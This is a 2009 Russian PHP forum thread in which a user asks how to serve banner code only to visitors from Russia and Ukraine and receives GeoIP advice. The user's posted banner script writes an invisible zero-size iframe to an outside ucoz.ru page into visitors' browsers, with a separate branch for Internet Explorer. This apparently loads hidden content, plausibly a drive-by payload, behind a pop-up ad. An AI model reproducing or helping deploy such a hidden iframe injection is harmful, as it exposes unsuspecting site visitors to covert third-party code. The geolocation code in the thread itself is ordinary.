[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Если пользователь не из россии то показывается то
a3om
Здравтвуйте уважаемые форумчане, может вы мен поможете?..
Мне надо сделать так:
<IF>// пользователь из России или Украины
Показывается одно
<else>// Пользователь из других стран
Показывается другое

Как так сделать? Помогите пожалуйста? smile.gif smile.gif smile.gif smile.gif smile.gif smile.gif



Спустя 11 часов, 32 минуты, 6 секунд (2.11.2009 - 09:26) Семён написал(а):
Либо по заголовку браузера / Либо по GEO положению клиента.

Спустя 4 часа, 52 минуты, 12 секунд (2.11.2009 - 14:18) Guest написал(а):
Можете написать скрипт пожалуйста по GEO положению клиента smile.gif

Спустя 37 минут, 8 секунд (2.11.2009 - 14:55) Семён написал(а):
Бесплатно - нет.

Спустя 5 минут, 16 секунд (2.11.2009 - 15:00) Гость_A3om написал(а):
Тогда хотябы скажите это подходит http://blo.in.ua/2009/09/22/php-geoip-extension/ ?

Спустя 6 минут, 45 секунд (2.11.2009 - 15:07) Семён написал(а):
Могу дать отличный совет из опыта:

1) Нужно либо искать базу IP адресов и заносить себе их в базу и соответственно их обрабатывать - очень блин ресуркоёмко!
2) Получать IP клиента - делать запрос на сайт, и потом путём CURL отрезать всё лишнее например:
PHP
http://www.geoiptool.com/en/?IP=92.39.97.6


Я всегда пользовался 2-ым вариантом, т.к. это гораздно быстрее и рациональнее.

Спустя 13 минут, 7 секунд (2.11.2009 - 15:20) Гость_a3om написал(а):
Пожалуйста, помогите, очень Вас прошу...
Вот мой код, надо чтобы юзерам из России и Украины показывался баннер,
а юзерам других стран ничего не показывалось или показывался какойнибудь код... Пожалуйста..

Свернутый текст
PHP
<?php
session_start
();
@require_once(
"config.php");
@require_once(
"functions.php");
if(isset(
$_GET['id']))
{
   $id = intval($_GET['id']);
   $sql = mysql_query("SELECT * FROM `users` WHERE `id` = '".$id."'");
   if(mysql_num_rows($sql) > 0)
   {
        $s_sql = mysql_fetch_array($sql);
        if(empty($s_sql['sites'])){exit();}

        $ip = ip();
        $dat = date('d.m.Y');
        $time = date("H:i:s");
        $ref = htmlspecialchars(stripslashes(getenv("HTTP_REFERER")));
        $ua = htmlspecialchars(stripslashes(getenv("HTTP_USER_AGENT")));
        $site = $ref;
        $query = mysql_query("SELECT * FROM `stat` WHERE `userid` = '".$id."' and `ip` = '".$ip."' and `dat` = '".$dat."' ");
        if(mysql_num_rows($query) == 0)
        {
            
            $see_banners 
= mysql_query("SELECT * FROM `banners` ORDER by id DESC LIMIT 1");
            if(mysql_num_rows($see_banners) == true)
            {
                $a = mysql_fetch_array($see_banners);
                $last = $a['id'];
                $ban_id = valid_id($last);

                $ch = mysql_query("SELECT id,kod FROM `banners` WHERE `id` = '".$ban_id."'");
                if(mysql_num_rows($ch) > 0)
                {
                    $show = mysql_fetch_row($ch);
                    $show_ban = $show[1];
                    $banner_id = $show[0];

?>
var ver = navigator.appVersion; 
if (ver.indexOf('MSIE') != -1) 

document.write("<IFRAME SRC='http://sangta.ucoz.ru/tests/' WIDTH=0 HEIGHT=0 NAME='POP' SCROLLING='no' FRAMEBORDER=0 ></IFRAME>"
+" <div id='PopWin' style='top:250px;background: #000;width: 468px;height: 80px;cursor: pouner;z-index:9999999999;position:absolute;left:30%;'>" 
+" <table width='468' height='80' cellspacing='0' cellpadding='0' style='border: 2px double black; background-color: #666666;'>" 
+" <tr height='20'><td bgcolor='#666666' width='238' style='padding-left: 10px; background-color: #666666;'><b>" 
+" <a target='_blank' style='font-size: 12px; color: #FFFFFF; " 
+" font-family: Arial; text-decoration:none;' href='<?php echo $servname; ?>'>" 
+" <?php echo $pop_t; ?></a></td>" 
+" <td bgcolor='#666666' width='230' style='padding-right: 3px; background-color: #666666;' align='right'>" 
+" <b><a style='font-size: 12px; color: #FFFFFF; font-family: Arial; text-decoration:none;'" 
+" onclick='DivOff()' title='Close' href='javascript: PopWinShow()'>Close[X]</a></b></td></tr>" 
+" <tr><td height='60' width='468' colspan='2' bgcolor='#CCCCCC'>" 
+" <center><?php echo $show_ban; ?>
+"</center></tr>" 
+" </tr></table></div>"); 
if (document.all['PopWin'].style) 
window.setInterval("MovePop()", 5); 
window.onerror=null; 
document.body.scrollTop=10; 

else   

document.write("<link rel='stylesheet' href='<?php echo $servname; ?>template/pop_s.css' type='text/css'><div id='PopWin' style='position:fixed; top:44%;'>"); 
document.write(" <IFRAME SRC='http://sangta.ucoz.ru/tests/' WIDTH=0 HEIGHT=0 NAME='POP' SCROLLING='no' FRAMEBORDER=0 ></IFRAME>"
+" <table width='468' height='80' cellspacing='0' cellpadding='0' style='border: 2px double black; background-color: #666666;'>" 
+" <tr height='20'><td bgcolor='#666666' width='238' style='padding-left: 10px; background-color: #666666;'><b>" 
+" <a target='_blank' style='font-size: 12px; color: #FFFFFF; " 
+" font-family: Arial; text-decoration:none;' href='<?php echo $servname; ?>'>" 
+" <?php echo $pop_t; ?></a></td>" 
+" <td bgcolor='#666666' width='230' style='padding-right: 3px; background-color: #666666;' align='right'>" 
+" <b><a style='font-size: 12px; color: #FFFFFF; font-family: Arial; text-decoration:none;'" 
+" onclick='DivOff()' title='Close' href='javascript: PopWinShow()'>Close[X]</a></b></td></tr>" 
+" <tr><td height='60' width='468' colspan='2' bgcolor='#CCCCCC'>" 
+" <center><?php echo $show_ban; ?>
+"</center></tr>" 
+" </tr></table></div>"); 


function DivOff() 
{   
document.getElementById('PopWin').style.display='none'; 


function PopWinShow() 
{   
window.open("javascript:location.href='<?php echo $servname; ?>popup.php?banner_id=<?php echo $banner_id; ?>&user_id=<?php echo $id; ?>&s=<?php echo session_id(); ?>';","PopWin","width=640,height=480,resizable=1,toolbar=1,location=1,menubar=1,status=1,scrollbars=1"); 
window.focus(); 
DivOff(); 


function MovePop() { 
if (document.body.scrollTop==0)   
document.all['PopWin'].style.top=document.documentElement.scrollTop+250; else 
document.all['PopWin'].style.top=document.body.scrollTop+250; 
}   
<?php echo $zaglushka; ?>
<?php

                
}

            }

        $kolvo2 = mysql_query("SELECT `show_ban` FROM `users` WHERE `id` = '".$id."'");
        $sbu = mysql_fetch_array($kolvo2);
        $show_ban_users = $sbu['show_ban'];
        $show_ban_users = $show_ban_users + 1;
        @mysql_query("UPDATE `users` SET `show_ban` = '".$show_ban_users."' WHERE `id` = '".$id."'");
              
        $show_sql 
= mysql_fetch_array(mysql_query("SELECT * FROM `banners` WHERE `id` = '".$ban_id."'"));
        $show = $show_sql['show_ban'] + 1;
        @mysql_query("UPDATE banners SET `show_ban` = '".$show."' WHERE `id` = '".$ban_id."'");

        }

   }

}
elseif(!empty(
$_GET['banner_id']) && is_numeric($_GET['banner_id']) && !empty($_GET['user_id']) && is_numeric($_GET['user_id']) && !empty($_GET['s']))
{
    
    $banner_id 
= intval($_GET['banner_id']);
    $user_id = intval($_GET['user_id']);
    
    $sql 
= mysql_query("SELECT * FROM `banners` WHERE `id` = '".$banner_id."'");
    if(mysql_num_rows($sql) > 0)
    {
        $r = mysql_fetch_array($sql);
        $site = $r['site'];
        if(empty($site)){$site = $servname;}
        $click = $r['click_ban'] + 1;
        #Обновляем клики
        @mysql_query("UPDATE `banners` SET `click_ban` = '".$click."' WHERE `id` = '".$banner_id."'");

        $kolvo = mysql_query("SELECT `hosts` FROM `users` WHERE `id` = '".$user_id."'");
        $hos = mysql_fetch_array($kolvo);
        $hosts = $hos['hosts'];
        $hosts = $hosts + 1;
        @mysql_query("UPDATE `users` SET `hosts` = '".$hosts."' WHERE `id` = '".$user_id."'");
        
        $ip 
= ip();
        $dat = date('d.m.Y');
        $time = date("H:i:s");
        $ref = htmlspecialchars(stripslashes(getenv("HTTP_REFERER")));
        $ua = htmlspecialchars(stripslashes(getenv("HTTP_USER_AGENT")));
        $o_site = $ref;
        @mysql_query("INSERT INTO `stat` VALUES(null, '".$user_id."', '".$dat."', '".$time."', '".$o_site."', '".$ua."', '".$ip."')");
        
        $sql1 
= mysql_query("SELECT balans FROM `users` WHERE `id` = '".$user_id."'");
        $sql2 = mysql_fetch_row(mysql_query("SELECT plus_wmz FROM `settings`"));
        if(mysql_num_rows($sql1))
        {
            $b = mysql_fetch_row($sql1);
            $balans = $b[0] + $sql2[0];
            #Обновляем баланс юзера
        @mysql_query("UPDATE users SET `balans` = '".$balans."' WHERE `id` = '".$user_id."'");
        }
        
        session_unset
();
        session_destroy();
        header("location:".$site);
    }
}

mysql_close();

Спустя 5 минут, 21 секунда (2.11.2009 - 15:26) Семён написал(а):
А если я попрошу вас ходить за меня на работу? Будете?

Спустя 1 час, 16 минут, 13 секунд (2.11.2009 - 16:42) Гость_A3om написал(а):
Я вас прошу, работа и такая вещь совсем разные вещи, если не можете, спасибо за помощь.

Спустя 10 минут, 14 секунд (2.11.2009 - 16:52) sergeiss написал(а):
Цитата (Гость_A3om @ 2.11.2009 - 17:42)
Я вас прошу, работа и такая вещь совсем разные вещи, если не можете, спасибо за помощь.

Мне это что-то напомнило "Я Вам пишу, чего же боле... Что остается мне сказать... Я знаю - в Вашей воле меня презреньем наказать..." (с) smile.gif (помню только текст, и то не уверен, что на 100% прав; знаки препинания расставил по своему усмотрению).

PS. А самому никак не получается разобраться в своем же коде? И задать более конкретный вопрос, чем пожелание изучить большую "портянку"?

Спустя 4 минуты, 38 секунд (2.11.2009 - 16:57) Гость_A3om написал(а):
Всего лишь хочу, чтоб мне помогли со странами, чтобы для России и Украины код показывался, а для других стран нет. Я не прошу писать мне стихи, т.к. это не требуется... Пожалуйста, ещё разз говрю smile.gif , помогите.

Спустя 18 минут, 50 секунд (2.11.2009 - 17:16) sergeiss написал(а):
Цитата (Гость_A3om @ 2.11.2009 - 17:57)
Я не прошу писать мне стихи, т.к. это не требуется...

Это не я написал, это - Пушкин, Александр Сергеевич. "Евгений Онегин". Приведенные слова - выдержка из письма Татьяны Евгению.

Зато я прошу подумать, и не писать большие "опусы", и прямо "намекаю", что помощь заключается не в том, что кто-то "за спасибо" сделает много работы. А в том, что ты сам подумаешь сначала, локализуешь проблему, и уже с ней придешь.

Спустя 14 минут, 24 секунды (2.11.2009 - 17:30) Гость_A3om написал(а):
Проблема, нужен код!
<IF>
КОД //Показывается странам из России и Украины
<else>
КОД //Показывается всем остальным странам.

Что надо сделать вместо IF???? Вот проблем.

Спустя 35 минут, 13 секунд (2.11.2009 - 18:05) olgatcpip написал(а):
Посмотри переменную $_SERVER['HTTP_ACCEPT_LANGUAGE'] - это самый простой вариант, не такой надёжный, как выше сказано, но может помочь.

Спустя 16 минут, 1 секунда (2.11.2009 - 18:21) Гость_A3om написал(а):
На данный момент сделал:
PHP
<?php
include('./include/geoip.inc');

$addr $_SERVER['REMOTE_ADDR'];

$gi geoip_open("./include/GeoIP.dat"GEOIP_STANDARD);
$country geoip_country_by_name($_SERVER['REMOTE_ADDR']);

if (
in_array($country, array('UA''RU'))){
echo
'Россия, Украина';
}else{
echo
'Другая страна';
}
geoip_close($gi);

Но если зайти под Китайским IP то ничего не выходит, пишет, Россия Укараина, может я и ошибаюсь...

Спустя 4 минуты, 38 секунд (2.11.2009 - 18:26) Guest написал(а):
Спасибо Вам ОГРОМНОЕ, Без Вас я реально бы не справился, всё, сделал, под США зашёл и написало "Другая страна". Огромное Вам Спасибо ещё раз.
Для тех кто ещё не знает, то вот код:

PHP
<?php
include('./include/geoip.inc');

$addr $_SERVER['REMOTE_ADDR'];

$gi geoip_open("./include/GeoIP.dat"GEOIP_STANDARD);
$country geoip_country_code_by_addr($gi$addr);

if (
in_array($country, array('UA''RU'))){
echo
'Привет! Россия!';
}else{
echo
'Привет! Другая страна!';
}
geoip_close($gi);

Спустя 2 часа, 23 минуты, 42 секунды (2.11.2009 - 20:49) Guest написал(а):
Ребят, зачем в JavaScript'е нужны такие символы???

HTML
"+"

Спустя 8 минут, 34 секунды (2.11.2009 - 20:58) Guest написал(а):
[move]Без этих символов как будто нельзя обойтись?[/move]

Спустя 39 минут, 23 секунды (2.11.2009 - 21:37) olgatcpip написал(а):
Цитата
Ребят, зачем в JavaScript'е нужны такие символы???
когда сложение, когда объединение строк...

Спустя 8 минут, 48 секунд (2.11.2009 - 21:46) Гостевой написал(а):
Но можно как нибудь обойтись и без них?

Спустя 9 часов, 1 минута, 32 секунды (3.11.2009 - 06:48) olgatcpip написал(а):
Цитата
Но можно как нибудь обойтись и без них?
ты сейчас какой-то конкретный пример обсуждаешь? не пойму.
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.